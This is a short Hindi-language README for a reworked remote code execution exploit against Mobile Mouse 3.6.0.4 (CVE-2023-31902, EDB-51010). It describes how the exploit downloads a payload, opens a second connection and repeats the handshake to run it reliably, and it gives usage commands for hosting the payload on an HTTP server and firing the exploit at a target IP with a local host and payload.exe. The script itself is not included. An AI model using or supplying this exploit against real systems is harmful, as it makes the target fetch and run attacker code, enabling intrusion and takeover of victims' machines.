Mobile Mouse 3.6.0.4 RCE - सुधार

Mobile Mouse 3.6.0.4 रिमोट कोड निष्पादन एक्सप्लॉइट का एक सुधारित संस्करण, जो EDB-51010 के रूप में प्रकाशित हुआ है।

भेद्यता

• CVE: CVE-2023-31902
• प्रभावित संस्करण: Mobile Mouse 3.6.0.4
• डिफ़ॉल्ट पोर्ट: TCP/9099

क्या सुधारा गया

मूल एक्सप्लॉइट पेलोड को सफलतापूर्वक डाउनलोड कर लेता है, लेकिन उसे निष्पादित करने में विफल हो सकता है क्योंकि दोनों चरण एक ही TCP कनेक्शन का उपयोग करते हैं।

इस संस्करण में:

• पहले सत्र के माध्यम से पेलोड डाउनलोड करता है
• डाउनलोड पूरा होने की प्रतीक्षा करता है
• एक नया कनेक्शन खोलता है
• Mobile Mouse हैंडशेक दोहराता है
• डाउनलोड किए गए पेलोड को निष्पादित करता है

यह sendall(), उचित रूप से एस्केप किए गए Windows पथ, सॉकेट टाइमआउट और बुनियादी त्रुटि प्रबंधन का भी उपयोग करता है।

उपयोग

पेलोड निर्देशिका में एक HTTP सर्वर प्रारंभ करें:

python3 -m http.server 8080

एक्सप्लॉइट चलाएँ:

python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe